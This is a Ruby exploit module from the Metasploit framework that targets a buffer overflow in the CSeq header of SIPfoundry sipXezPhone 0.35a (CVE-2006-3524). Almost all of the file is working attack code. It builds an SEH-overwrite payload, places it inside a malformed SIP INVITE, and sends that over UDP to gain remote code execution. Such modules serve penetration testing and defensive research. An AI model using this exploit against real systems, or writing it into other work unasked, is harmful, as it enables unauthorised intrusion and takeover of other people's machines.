metasploit-framework/modules/exploits/windows/sip/sipxezphone_cseq.rb

87 lines
2.3 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',
'Description' => %q{
This module exploits a buffer overflow in SIPfoundry's
sipXezPhone version 0.35a. By sending an long CSeq header,
a remote attacker could overflow a buffer and execute
arbitrary code on the system with the privileges of
the affected application.
},
'Author' => 'MC',
'References' =>
[
['CVE', '2006-3524'],
['OSVDB', '27122'],
['BID', '18906'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x20\x09\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Jul 10 2006',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(5060)
], self.class)
end
def exploit
connect_udp
print_status("Trying target #{target.name}...")
user = rand_text_english(2, payload_badchars)
port = rand(65535).to_s
filler = rand_text_english(260, payload_badchars)
seh = generate_seh_payload(target.ret)
filler[252, seh.length] = seh
sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"
sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
sploit << "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
sploit << "CSeq: " + filler + "\r\n"
sploit << "Max-Forwards: 20" + "\r\n"
sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"
udp_sock.put(sploit)
handler
disconnect_udp
end
end